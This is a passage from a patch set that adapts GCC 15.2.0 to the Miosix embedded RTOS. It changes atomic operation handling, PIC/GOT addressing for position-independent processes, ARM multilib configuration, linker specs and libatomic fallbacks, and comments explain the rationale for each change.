(GET_MODE_SIZE (mode).to_constant ()); ++ gcc_assert (bytes_log2 < 5); ++ built_in_function fncode ++ = (built_in_function) ((int) BUILT_IN_ATOMIC_STORE_1 + bytes_log2); ++ tree const fn = builtin_decl_explicit (fncode); ++ tree target = CALL_EXPR_ARG (exp, 0); ++ tree sync = build_int_cst (integer_type_node, MEMMODEL_SYNC_RELEASE); ++ tree exp2 = build_call_expr (fn, 3, target, ++ build_zero_cst (boolean_type_node), ++ sync); ++ return expand_builtin (exp2, NULL_RTX, NULL_RTX, mode, false); ++ /* Miosix patch end */ + } + + /* Given an integer representing an ``enum memmodel'', verify its +@@ -7213,9 +7222,21 @@ + fail is if the bool type is larger than a word size. Unlikely, but + handle it anyway for completeness. Assume a single threaded model since + there is no atomic support in this case, and no barriers are required. */ +- rtx ret = expand_atomic_store (mem, const0_rtx, model, true); +- if (!ret) +- emit_move_insn (mem, const0_rtx); ++ /* Patch set ID: atomics-fix */ ++ /* Miosix patch begin: As the comment above suggests, the case in which ++ expand_atomic_store failed was handled, but in the wrong way, just ++ generating a move, while it actually needed to call the __atomic_store ++ function. By generating the store the long way we avoid problems. ++ TODO: assuming that BOOL_TYPE_SIZE is 8 bits here, which is correct for ++ the architectures supported by Miosix. */ ++ tree const fn = builtin_decl_explicit (BUILT_IN_ATOMIC_STORE_1); ++ tree target = CALL_EXPR_ARG (exp, 0); ++ tree sync = build_int_cst (integer_type_node, model); ++ tree exp2 = build_call_expr (fn, 3, target, ++ build_zero_cst (boolean_type_node), ++ sync); ++ expand_builtin (exp2, NULL_RTX, NULL_RTX, mode, false); ++ /* Miosix patch end */ + return const0_rtx; + } + +diff -ruN gcc-15.2.0-old/gcc/config/arm/arm.cc gcc-15.2.0/gcc/config/arm/arm.cc +--- gcc-15.2.0-old/gcc/config/arm/arm.cc 2025-08-08 08:51:40.469348055 +0200 ++++ gcc-15.2.0/gcc/config/arm/arm.cc 2025-12-17 09:45:25.942367038 +0100 +@@ -77,10 +77,20 @@ + #include "aarch-common-protos.h" + #include "machmode.h" + #include "arm-builtins.h" ++#include "print-tree.h" ++#include + + /* This file should be included last. */ + #include "target-def.h" + ++/* ++ * https://gcc.gnu.org/legacy-ml/gcc/2017-05/msg00073.html ++ * Disable this warning at the compiler level, as Miosix skipped from GCC 4.7.3 ++ * to GCC 9.2.0, so there's no affected code around. ++ */ ++#undef warn_psabi /* in case it's already a macro */ ++#define warn_psabi 0 ++ + /* Forward definitions of types. */ + typedef struct minipool_node Mnode; + typedef struct minipool_fixup Mfix; +@@ -2842,8 +2852,33 @@ + } + } + +- if (TARGET_AAPCS_BASED) +- synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ // Rationale: ++ // Compiling code that instantiates C++ static objects on architectures that do ++ // not have memory fence/barrier instructions (e.g: ARM7TDMI) causes undefined ++ // reference to `__sync_synchronize'. ++ // expand_mem_thread_fence() in gcc/optabs.cc:7350 tries to emit ASM insn ++ // and failing that, emits the __sync_synchronize call if available. ++ // Synchronize_libfunc is used only in optabs.c and defined only for ARM/MIPS ++ // ++ // $ grep -Rn 'synchronize_libfunc' gcc-14.2.0 ++ // gcc/config/mips/mips.cc:13880: synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ // gcc/config/arm/arm.cc:2882: synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ // gcc/libfuncs.h:79:#define synchronize_libfunc (libfunc_table[LTI_synchronize]) ++ // gcc/optabs.cc:7361: else if (synchronize_libfunc != NULL_RTX) ++ // gcc/optabs.cc:7362: emit_library_call (synchronize_libfunc, LCT_NORMAL, VOIDmode); ++ // ++ // $ grep -Rn 'LTI_synchronize' gcc-14.2.0 ++ // gcc/libfuncs.h:29: LTI_synchronize, ++ // gcc/libfuncs.h:79:#define synchronize_libfunc (libfunc_table[LTI_synchronize]) ++ // ++ // The ARM implementation is in libgcc and only exists for linux and bsd. ++ // ++ // Solution: remove given ARM7TDMI don't need hardware memory barriers at all. ++ // ++ // When updating patches to new compiler, check that cortex-M targets have ++ // DMB instructions, while ARM7TDMI code has no calls to __sync_synchronize. ++ //if (TARGET_AAPCS_BASED) ++ // synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); + + speculation_barrier_libfunc = init_one_libfunc ("__speculation_barrier"); + } +@@ -8189,6 +8224,158 @@ + return emit_insn (pat); + } + ++// Patch set ID: miosix-processes-rodata ++// TODO: #ifdef _MIOSIX does not work in this context ++ ++// Taken from varasm.cc, it is static unfortunately, hence the copy-paste ++static bool ++contains_pointers_p (const_tree type) ++{ ++ switch (TREE_CODE (type)) ++ { ++ case POINTER_TYPE: ++ case REFERENCE_TYPE: ++ /* I'm not sure whether OFFSET_TYPE needs this treatment, ++ so I'll play safe and return 1. */ ++ case OFFSET_TYPE: ++ return true; ++ ++ case RECORD_TYPE: ++ case UNION_TYPE: ++ case QUAL_UNION_TYPE: ++ { ++ tree fields; ++ /* For a type that has fields, see if the fields have pointers. */ ++ for (fields = TYPE_FIELDS (type); fields; fields = DECL_CHAIN (fields)) ++ if (TREE_CODE (fields) == FIELD_DECL ++ && contains_pointers_p (TREE_TYPE (fields))) ++ return true; ++ return false; ++ } ++ ++ case ARRAY_TYPE: ++ /* An array type contains pointers if its element type does. */ ++ return contains_pointers_p (TREE_TYPE (type)); ++ ++ default: ++ return false; ++ } ++} ++ ++/* ++ * Miosix processes do not live in a virtual address space. ++ * Their code and constants (.text and .rodata) live in FLASH at an address ++ * that is not known until runtime, so PC-relative addressing must be used. ++ * Their variables (.data and .bss) live in RAM, and the offset between ++ * .text and RAM is not constant, so the GOT must be used with single-pic-base. ++ * This function takes a memory reference and returns true if PC-relative ++ * addressing must be used, or false if the GOT must be used. ++ */ ++static bool miosix_processes_ref_demux(rtx orig) ++{ ++ // This logic has been kept from the original code in legitimize_pic_address ++ if(GET_CODE(orig) == LABEL_REF) return true; ++ ++ // From here on we handle the SYMBOL_REF case ++ //TODO: we don't do anything for DECL_WEAK ++ ++ // Dump data structures for debugging purpose ++ // print-rtl.c and print-tree.c are very useful for knowing how they work ++ //debug_rtx(orig); ++ //if(SYMBOL_REF_DECL(orig)) debug_tree(SYMBOL_REF_DECL(orig)); ++ ++ bool result = false; ++ const_tree decl = SYMBOL_REF_DECL(orig); ++ if(decl) ++ { ++ if(TREE_CODE(decl) == FUNCTION_DECL) ++ { ++ /* ++ * Taking function address, testcase (compile with -O2) ++ * void f(); ++ * typedef void (*fp)(); ++ * fp get() { return &f; } ++ */ ++ result = true; ++ //printf("constant (FUNCTION_DECL)\n\n"); ++ } else if(TREE_CODE(decl) == VAR_DECL) { ++ const_tree type = TREE_TYPE(decl); ++ assert(type != NULL && "Miosix: SYMBOL_REF of unknown constness (type==0)"); ++ if(contains_pointers_p(type)) ++ { ++ /* ++ * A true constant pointer can't exist in Miosix processes. ++ * If it's a constant, the pointer would need to be ++ * initialized at the definition site, and since it may ++ * point to a variable in RAM, a runtime relocation is ++ * needed to initialize it, and because of that it can't ++ * stay in .rodata among the true constants. ++ * Const pointers without relocations may exist, say for ++ * instance int *const p=0; and those *could* stay in .rodata ++ * but that creates another problem: how do we know from ++ * the declaration only (extern int *const p;) whether the ++ * pointer is in .rodata or not? We can't and thus we don't ++ * know whether to use pc-relative or GOT addressing, so ++ * we treat *all* const pointers as non const. ++ */ ++ //printf("variable (contains pointers)\n\n"); ++ } else if(decl_readonly_section(decl,0)) { ++ /* ++ * Non-extern consts in non optimized code, testcase (compile with -O0) ++ * const char str[]="Hello world\n"; ++ * const char *get() { return str; } ++ */ ++ result = true; ++ //printf("constant (decl_readonly_section)\n\n"); ++ // remaining if are because decl_readonly_section misses some ++ // const cases ++ } else if(TYPE_READONLY(type)) { ++ /* ++ * Extern const, testcase (compile with -O2) ++ * extern const int aRodata; ++ * int get() { return aRodata; } ++ */ ++ result = true; ++ //printf("constant (TYPE_READONLY)\n\n"); ++ } else { ++ /* ++ * Variables, testcase (compile with -O2) ++ * extern int aData; ++ * int get() { return aData; } ++ */ ++ //printf("variable (decl!=0)\n\n"); ++ } ++ } else assert(0 && "Miosix: SYMBOL_REF of unknown constness (TREE_CODE?)"); ++ } else { ++ // we fall here when optimizations are enabled and sometimes decl==NULL ++ ++ // NOTE: SYMBOL_REF_BLOCK() is valid only if SYMBOL_REF_HAS_BLOCK_INFO_P() ++ if(!SYMBOL_REF_HAS_BLOCK_INFO_P(orig) || SYMBOL_REF_BLOCK(orig) == NULL) ++ assert(0 && "Miosix: SYMBOL_REF of unknown constness (decl==0)"); ++ ++ // TODO: output.h defines a few default sections as global variables ++ // do we need to handle more than readonly_data_section? ++ if(SYMBOL_REF_BLOCK(orig)->sect == readonly_data_section) ++ { ++ /* ++ * Non-folded constants when optimizing, testcase (compile with -O2) ++ * const int aRodata2=42; ++ * const int *get() { return &aRodata2; } ++ */ ++ result = true; ++ //printf("constant (sect==readonly)\n\n"); ++ } else { ++ /* Defined (not just declared) vars when optimizing, testcase (compile with -O2) ++ * int aData=1; ++ * int get() { return aData; } ++ */ ++ //printf("variable (decl==0)\n\n"); ++ } ++ } ++ ++ return result; ++} ++ + /* Legitimize PIC load to ORIG into REG. If REG is NULL, a new pseudo is + created to hold the result of the load. If not NULL, PIC_REG indicates + which register to use as PIC register, otherwise it is decided by register +@@ -8214,6 +8401,9 @@ + reg = gen_reg_rtx (Pmode); + } + ++ // Patch set ID: miosix-processes-rodata ++ bool miosix_ref_demux = miosix_processes_ref_demux(orig); ++ + /* VxWorks does not impose a fixed gap between segments; the run-time + gap can be different from the object-file gap. We therefore can't + use GOTOFF unless we are absolutely sure that the symbol is in the +@@ -8223,15 +8413,8 @@ + /* References to weak symbols cannot be resolved locally: they + may be overridden by a non-weak definition at link time. */ + rtx_insn *insn; +- if ((LABEL_REF_P (orig) +- || (SYMBOL_REF_P (orig) +- && SYMBOL_REF_LOCAL_P (orig) +- && (SYMBOL_REF_DECL (orig) +- ? !DECL_WEAK (SYMBOL_REF_DECL (orig)) : 1) +- && (!SYMBOL_REF_FUNCTION_P (orig) +- || arm_fdpic_local_funcdesc_p (orig)))) +- && NEED_GOT_RELOC +- && arm_pic_data_is_text_relative) ++ // Patch set ID: miosix-processes-rodata ++ if (miosix_ref_demux && NEED_GOT_RELOC && arm_pic_data_is_text_relative) + insn = arm_pic_static_addr (orig, reg); + else + { +@@ -25100,6 +25283,22 @@ + if (NEED_GOT_RELOC && flag_pic && making_const_table && + (SYMBOL_REF_P (x) || LABEL_REF_P (x))) + { ++ /* ++ * Patch set ID: miosix-processes-rodata ++ * NOTE: On Miosix processes GOTOFF can't work, as we don't know at ++ * time the offset between .text and .got/.data/whatever is in RAM ++ * so always use GOT. ++ * Without this patch a process with something as simple as ++ * int *ptr = { 0 }; ++ * int *get() { return ptr; } ++ * uses GOTOFF and produces segfaults upon calling get() ++ * NOTE: compared to the original patch for gcc 9.2.0 which here only had ++ * code to choose between GOT and GOTOFF, the new code also handles FDPIC ++ * https://static.linaro.org/connect/sfo15/Presentations/09-24-Thursday/SFO15-406-%20ARM%20FDPIC%20Toolchains.pdf ++ * but Miosix does not support fdpic (yet?) ++ */ ++ if (TARGET_FDPIC) assert(0 && "Miosix-patchd GCC does not support fdpic"); ++ + /* See legitimize_pic_address for an explanation of the + TARGET_VXWORKS_RTP check. */ + /* References to weak symbols cannot be resolved locally: +@@ -25128,7 +25327,10 @@ + + if (!TARGET_FDPIC + || arm_is_segment_info_known (x, &is_readonly)) +- fputs ("(GOTOFF)", asm_out_file); ++ //Patch set ID: miosix-processes-rodata ++ //All this if/else chain should always produce (GOT) in Miosix ++ //fputs ("(GOTOFF)", asm_out_file); ++ fputs ("(GOT)", asm_out_file); + else + fputs ("(GOT)", asm_out_file); + } +diff -ruN gcc-15.2.0-old/gcc/config/arm/arm.h gcc-15.2.0/gcc/config/arm/arm.h +--- gcc-15.2.0-old/gcc/config/arm/arm.h 2025-08-08 08:51:40.469348055 +0200 ++++ gcc-15.2.0/gcc/config/arm/arm.h 2025-12-17 09:45:25.946367038 +0100 +@@ -961,7 +961,13 @@ + #define EH_RETURN_STACKADJ_RTX gen_rtx_REG (SImode, ARM_EH_STACKADJ_REGNUM) + + #ifndef ARM_TARGET2_DWARF_FORMAT +-#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel ++// Patch set ID: miosix-processes-exceptions ++//TODO: #ifdef _MIOSIX does not work in this context ++//Produce exception unwinding tables that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//we want pcrel as usual for the Miosix kernel, and datarel for processes (pic) ++#define ARM_TARGET2_DWARF_FORMAT (flag_pic ? DW_EH_PE_datarel : DW_EH_PE_pcrel) ++//#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel + #endif + + /* ttype entries (the only interesting data references used) +diff -ruN gcc-15.2.0-old/gcc/config/arm/sync.md gcc-15.2.0/gcc/config/arm/sync.md +--- gcc-15.2.0-old/gcc/config/arm/sync.md 2025-08-08 08:51:40.480348239 +0200 ++++ gcc-15.2.0/gcc/config/arm/sync.md 2025-12-17 09:45:25.946367038 +0100 +@@ -102,7 +102,7 @@ + [(match_operand:QHSI 0 "register_operand") ;; val out + (match_operand:QHSI 1 "arm_sync_memory_operand") ;; memory + (match_operand:SI 2 "const_int_operand")] ;; model +- "" ++ "!TARGET_THUMB1" ;; Miosix Patch set ID: atomics-fix generate calls if we don't have ldrex/strex + { + memmodel model = memmodel_from_int (INTVAL (operands[2])); + +@@ -131,7 +131,7 @@ + [(match_operand:QHSI 0 "arm_sync_memory_operand") ;; memory + (match_operand:QHSI 1 "register_operand") ;; store value + (match_operand:SI 2 "const_int_operand")] ;; model +- "" ++ "!TARGET_THUMB1" ;; Miosix Patch set ID: atomics-fix generate calls if we don't have ldrex/strex + { + memmodel model = memmodel_from_int (INTVAL (operands[2])); + +diff -ruN gcc-15.2.0-old/gcc/config/arm/t-arm-miosix gcc-15.2.0/gcc/config/arm/t-arm-miosix +--- gcc-15.2.0-old/gcc/config/arm/t-arm-miosix 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-15.2.0/gcc/config/arm/t-arm-miosix 2026-03-03 23:29:29.000000000 +0100 +@@ -0,0 +1,124 @@ ++ ++## RATIONALE: build multilibs for all microcontroller-relevant ARM architectures ++## with and without `-fpie -msingle-pic-base' (for processes). ++## If processes were not required, we could have simply set the option ++## --with-multilib-list=rmprofile, which builds multilibs for exactly the ++## architectures we are interested in. ++ ++## To update this file, have a look in t-multilib and t-rmprofile and bring over ++## new architectures/variants. Note that we are not building softfp ABI and ++## the directory structure is different than what is setup by t-rmprofile ++## (`-mfloat-abi=soft' is in the root directory, while rmprofile puts it in ++## the `soft' directory). ++## ++## Documentation for the variables set in this file are in ++## https://gcc.gnu.org/onlinedocs/gccint/Target-Fragment.html ++ ++MULTILIB_OPTIONS = ++MULTILIB_DIRNAMES = ++MULTILIB_MATCHES = ++MULTILIB_EXCEPTIONS = ++MULTILIB_REQUIRED = ++MULTILIB_REUSE = ++ ++MULTILIB_OPTIONS += marm/mthumb ++MULTILIB_DIRNAMES += arm thumb ++ ++# implicit default is set to armv6s-m (because explicit default -mcpu=cortex-m0) ++MULTILIB_OPTIONS += march=armv4t/march=armv6s-m/march=armv7-m/march=armv7e-m/march=armv7e-m+fp/march=armv7e-m+fp.dp/march=armv8-m.base/march=armv8-m.main/march=armv8-m.main+fp/march=armv8-m.main+fp.dp ++MULTILIB_DIRNAMES += v4t v6-m v7-m v7e-m v7e-m+fp v7e-m+dp v8-m.base v8-m.main v8-m.main+fp v8-m.main+dp ++ ++# implicit default is -mfloat-abi=soft due to the fallback value of the TARGET_DEFAULT_FLOAT_ABI define ++MULTILIB_OPTIONS += mfloat-abi=soft/mfloat-abi=hard ++MULTILIB_DIRNAMES += nofp hard ++ ++MULTILIB_OPTIONS += qkernelspace ++MULTILIB_DIRNAMES += kernel ++ ++MULTILIB_OPTIONS += fno-exceptions ++MULTILIB_DIRNAMES += noexceptions ++ ++## Multilibs to build: ++ ++# Armv4 (ARM7TDMI, no FP) ++MULTILIB_REQUIRED += marm/march=armv4t/mfloat-abi=soft/qkernelspace ++MULTILIB_REQUIRED += marm/march=armv4t/mfloat-abi=soft/qkernelspace/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv4t/mfloat-abi=soft/qkernelspace ++MULTILIB_REQUIRED += mthumb/march=armv4t/mfloat-abi=soft/qkernelspace/fno-exceptions ++ ++# Armv6 (Cortex-M0, M0+, M1, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv6s-m/mfloat-abi=soft/qkernelspace ++MULTILIB_REQUIRED += mthumb/march=armv6s-m/mfloat-abi=soft/qkernelspace/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv6s-m/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv6s-m/mfloat-abi=soft/fno-exceptions ++ ++# Armv7-M (Cortex-M3, M4, M7, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv7-m/mfloat-abi=soft/qkernelspace ++MULTILIB_REQUIRED += mthumb/march=armv7-m/mfloat-abi=soft/qkernelspace/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv7-m/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv7-m/mfloat-abi=soft/fno-exceptions ++ ++# Armv7e-M (Cortex-M4, M7 with FP single and double precision) ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp/mfloat-abi=hard/qkernelspace ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp/mfloat-abi=hard/qkernelspace/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp/mfloat-abi=hard/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp.dp/mfloat-abi=hard/qkernelspace ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp.dp/mfloat-abi=hard/qkernelspace/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp.dp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp.dp/mfloat-abi=hard/fno-exceptions ++ ++# Armv8-m baseline (Cortex-M23, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv8-m.base/mfloat-abi=soft/qkernelspace ++MULTILIB_REQUIRED += mthumb/march=armv8-m.base/mfloat-abi=soft/qkernelspace/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv8-m.base/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv8-m.base/mfloat-abi=soft/fno-exceptions ++ ++# Armv8-m mainline (Cortex-M33, M35P with FP single and double precision) ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp/mfloat-abi=hard/qkernelspace ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp/mfloat-abi=hard/qkernelspace/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp/mfloat-abi=hard/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp.dp/mfloat-abi=hard/qkernelspace ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp.dp/mfloat-abi=hard/qkernelspace/fno-exceptions ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp.dp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp.dp/mfloat-abi=hard/fno-exceptions ++ ++## Aliases ++ ++# Once upon a time, Armv6 had a variant Armv6s with support for the SVC ++# instruction, but it was an undocumented variant which then got merged in the ++# base Armv6 standard. This rule always aliases armv6 to armv6s as they are ++# equivalent for all intents and purposes ++MULTILIB_MATCHES += march?armv6s-m=march?armv6-m ++ ++# Map v7e no FPU to v7 ++MULTILIB_MATCHES += march?armv7-m=march?armv7e-m ++ ++# Map v8.main no FPU to v8.base ++MULTILIB_MATCHES += march?armv8-m.base=march?armv8-m.main ++ ++# Map all v8-m.main+dsp FP variants down the the variant without DSP. ++MULTILIB_MATCHES += march?armv8-m.main=march?armv8-m.main+dsp ++MULTILIB_MATCHES += $(foreach FP, +fp +fp.dp, march?armv8-m.main$(FP)=march?armv8-m.main+dsp$(FP)) ++ ++# For single-precision only fpv5, use the base fp libraries ++MULTILIB_MATCHES += march?armv7e-m+fp=march?armv7e-m+fpv5 ++ ++# For architectures with no FPU, map unspecified -mfloat-abi to soft ++# Note: the t-rmprofile fragment does not do this, even though it is required, ++# because the main makefile (config.gcc) special-cases this by setting ++# with_float="soft" which results in all invocations to have the default ++# option "--with-float=soft" ++MULTILIB_REUSE += $(foreach ABI, mthumb marm, \ ++ $(ABI)/march.armv4t/mfloat-abi.soft/qkernelspace=$(ABI)/march.armv4t/qkernelspace) ++MULTILIB_REUSE += $(foreach ABI, mthumb marm, \ ++ $(ABI)/march.armv4t/mfloat-abi.soft/qkernelspace/fno-exceptions=$(ABI)/march.armv4t/qkernelspace/fno-exceptions) ++MULTILIB_REUSE += $(foreach ARCH, armv6s-m armv7-m armv8-m\.base, \ ++ mthumb/march.$(ARCH)/mfloat-abi.soft/qkernelspace=mthumb/march.$(ARCH)/qkernelspace) ++MULTILIB_REUSE += $(foreach ARCH, armv6s-m armv7-m armv8-m\.base, \ ++ mthumb/march.$(ARCH)/mfloat-abi.soft/qkernelspace/fno-exceptions=mthumb/march.$(ARCH)/qkernelspace/fno-exceptions) ++MULTILIB_REUSE += $(foreach ARCH, armv6s-m armv7-m armv8-m\.base, \ ++ mthumb/march.$(ARCH)/mfloat-abi.soft=mthumb/march.$(ARCH)) ++MULTILIB_REUSE += $(foreach ARCH, armv6s-m armv7-m armv8-m\.base, \ ++ mthumb/march.$(ARCH)/mfloat-abi.soft/fno-exceptions=mthumb/march.$(ARCH)/fno-exceptions) +diff -ruN gcc-15.2.0-old/gcc/config/miosix.h gcc-15.2.0/gcc/config/miosix.h +--- gcc-15.2.0-old/gcc/config/miosix.h 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-15.2.0/gcc/config/miosix.h 2026-03-22 14:05:18.464737141 +0100 +@@ -0,0 +1,118 @@ ++/* Target definitions for the Miosix RTOS. */ ++ ++/* RATIONALE: adding builtin_define to always define _MIOSIX ++ - when libgcc/libstdc++/newlib are compiled, as there are some #ifdef _MIOSIX ++ - when Miosix processes are compiled, to allow #ifdef _MIOSIX ++ Also add versioning to miosix-specific compiler patches, and specs for ++ making GCC compile Miosix processes by default. */ ++ ++#undef TARGET_OS_CPP_BUILTINS ++#define TARGET_OS_CPP_BUILTINS() \ ++ do \ ++ { \ ++ TARGET_BPABI_CPP_BUILTINS (); \ ++ builtin_define ("_MIOSIX"); \ ++ builtin_define ("_MIOSIX_GCC_PATCH_MAJOR=4"); \ ++ builtin_define ("_MIOSIX_GCC_PATCH_MINOR=2"); \ ++ builtin_assert ("system=miosix"); \ ++ } \ ++ while (0) ++ ++/* Force -fpie -msingle-pic-base for Miosix process object files */ ++#undef OS_CC1_SPEC ++#define OS_CC1_SPEC "%{!qkernelspace:-fpie -msingle-pic-base}" ++ ++/* No crti.o/crtbegin.o/crt0.o */ ++#undef STARTFILE_SPEC ++#define STARTFILE_SPEC "" ++ ++/* No crtend.o/crtn.o */ ++#undef ENDFILE_SPEC ++#define ENDFILE_SPEC "" ++ ++/* Library specs for Miosix processes */ ++ ++/* STD_LIB_SPEC is the default value of LIB_SPEC as defined in gcc.cc, what it ++ does is to expand to -lc in most cases except if profiling is enabled. */ ++#define STD_LIB_SPEC "%{!shared:%{g*:-lg} %{!p:%{!pg:-lc}}%{p:-lc_p}%{pg:-lc_p}}" ++ ++/* Includes libsyscalls and libatomic if -qkernelspace is not specified, and ++ the libraries are found. ++ If -lstdc++ is used, move it inside the system LIB_SPEC because in Miosix ++ it has a circular dependency on -lsyscalls. Also -lm must be moved in ++ because -lstdc++ depends on -lm.*/ ++/* The case in which the libraries are not found is important to allow the ++ configure steps for GCC's libraries to succeed, because they try to compile ++ linked executables (even though they shouldn't need to!). */ ++/* This spec goes unused if -nostlib is passed to gcc (i.e. we don't ++ have to handle that case manually ourselves). Additionally, it is also ++ inside a --start-group --end-group. This is implemented in ++ the parent spec LINK_GCC_C_SEQUENCE_SPEC in unknown-elf.h. */ ++/* IMPORTANT: we CANNOT remove the -lstdc++ outfile because LIB_SPEC ++ is evaluated TWICE: one time for creating the --pass-through-libs=... ++ arguments to the linker, the other for adding the libraries to the command ++ line. This is not evident because of too many levels of indirection, but ++ it happens like this: ++ LINK_COMMAND_SPEC ++ string-includes LINK_PLUGIN_SPEC ++ uses %(link_gcc_c_sequence) to invoke LINK_GCC_C_SEQUENCE_SPEC ++ uses %L to invoke LIB_SPEC ++ uses %X to add the output files to the commandline ++ uses %(link_gcc_c_sequence) to invoke LINK_GCC_C_SEQUENCE_SPEC ++ uses %L to invoke LIB_SPEC ++ Unfortunately the output files are added to the linker's command line ++ (by spec command %X) before the second call of LIB_SPEC, so it is basically ++ impossible to remove -lstdc++ once it is added again here. ++ There is no other way to handle libstdc++ because its presence is not ++ defined in any spec string, instead it is hardcoded directly in the ++ C++ driver. */ ++#undef LIB_SPEC ++#define LIB_SPEC \ ++ "%{!qkernelspace: \ ++ %:if-exists-then-else(libsyscalls.a%s -lsyscalls) \ ++ %:if-exists-then-else(libatomic.a%s -latomic) \ ++ %{%:find-outfile(-lstdc++):-lstdc++ -lm}} " STD_LIB_SPEC ++ ++/* Linker specs for Miosix processes */ ++ ++/* Always remove -lpthread because its functions are already defined either by ++ the rest of the kernel, or by libsyscalls for processes. ++ Also add required options for processes to the linker's command line if ++ -qkernelspace is not specified. Note that the default LINK_SPEC is empty. */ ++#undef LINK_SPEC ++#define LINK_SPEC \ ++ "%:remove-outfile(-lpthread) \ ++ %{!qkernelspace:-n -pie --spare-dynamic-tags 3 --target2=mx-data-rel}" ++ ++/* Additional linker options for Miosix processes */ ++ ++/* If compiling a process executable (no -qkernelspace) and no custom linker ++ script is specified (no -T on command line) add the default linker script. ++ Linker scripts must go at the end of the linker's command line, otherwise ++ they would not be searched in all paths. */ ++/* Unfortunately, there is no spec for adding a linker script, so we have to ++ modify the whole LINK_COMMAND_SPEC. This is not even unusual, darwin.h ++ also does it. In the future we might even want to customize this spec ++ even more, but it needs to kept synchronized with the original one in ++ gcc.cc. The modified part is just after %{T*}, the rest is the same. */ ++#undef LINK_COMMAND_SPEC ++#define LINK_COMMAND_SPEC "\ ++%{!fsyntax-only:%{!c:%{!M:%{!MM:%{!E:%{!S:\ ++ %(linker) " \ ++ LINK_PLUGIN_SPEC \ ++ "%{flto|flto=*:% +diff -ruN gcc-15.2.0-old/libatomic/config/miosix/lock.c gcc-15.2.0/libatomic/config/miosix/lock.c +--- gcc-15.2.0-old/libatomic/config/miosix/lock.c 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-15.2.0/libatomic/config/miosix/lock.c 2025-12-17 09:45:25.950367037 +0100 +@@ -0,0 +1,13 @@ ++ ++/* ++ * According to libatomic_i.h, here we should implement ++ * - void libat_lock_n(void *ptr, size_t n); ++ * - void libat_unlock_n(void *ptr, size_t n); ++ * which are used by gexch.c gcas.c gload.c gstore.c for 'large' operations. ++ * ++ * Except, we don't. These function may be directly implemented in Miosix should ++ * the need arise, or intentionally left as undefined references if large ++ * locking intrinsics are to be disallowed. ++ */ ++ ++#include "libatomic_i.h" +diff -ruN gcc-15.2.0-old/libatomic/configure.tgt gcc-15.2.0/libatomic/configure.tgt +--- gcc-15.2.0-old/libatomic/configure.tgt 2025-08-08 08:51:44.759419621 +0200 ++++ gcc-15.2.0/libatomic/configure.tgt 2025-12-17 09:45:25.950367037 +0100 +@@ -168,6 +168,10 @@ + esac + ;; + ++ arm*-miosix-eabi*) ++ config_path="miosix" ++ ;; ++ + *-*-rtems*) + XCFLAGS="${configure_tgt_pre_target_cpu_XCFLAGS}" + config_path="rtems" +diff -ruN gcc-15.2.0-old/libatomic/tas_n.c gcc-15.2.0/libatomic/tas_n.c +--- gcc-15.2.0-old/libatomic/tas_n.c 2025-08-08 08:51:44.760419638 +0200 ++++ gcc-15.2.0/libatomic/tas_n.c 2025-12-17 09:45:25.950367037 +0100 +@@ -115,3 +115,17 @@ + + EXPORT_ALIAS (SIZE(test_and_set)); + #undef LAT_TAS_N ++ ++// Miosix patch begin ++// Since bug https://gcc.gnu.org/bugzilla/show_bug.cgi?id=109166 was fixed, ++// GCC can generate calls to __atomic_test_and_set() but libatomic does not ++// provide a fallback implementation, causing builds of Miosix for armv6m ++// platforms (Cortex-M0) to potentially fail with linking errors. ++// To fix the problem in the interim (while we wait for upstream to fix it ++// properly) we implement __atomic_test_and_set by aliasing it to ++// __atomic_test_and_set_1. ++#if N == 1 && !SIZE(HAVE_ATOMIC_TAS) ++extern bool __atomic_test_and_set (void *mptr, int smodel) ++ __attribute__((alias("libat_test_and_set_1"))); ++#endif ++// Miosix patch end +diff -ruN gcc-15.2.0-old/libgcc/config/arm/pr-support.c gcc-15.2.0/libgcc/config/arm/pr-support.c +--- gcc-15.2.0-old/libgcc/config/arm/pr-support.c 2025-08-08 08:51:44.840420972 +0200 ++++ gcc-15.2.0/libgcc/config/arm/pr-support.c 2025-12-17 09:45:25.950367037 +0100 +@@ -425,7 +425,14 @@ + _Unwind_Ptr + _Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) + { +- abort (); ++// TODO: #ifdef _MIOSIX does not work in this context ++// Support exception unwinding that work with Miosix processes ++// see processes-patch.md, section "The problem with unwinding exception tables" ++// NOTE: this code gets linked (even though it never gets used) also in the kernel, ++// so the symbol name we choose here must also exist in the 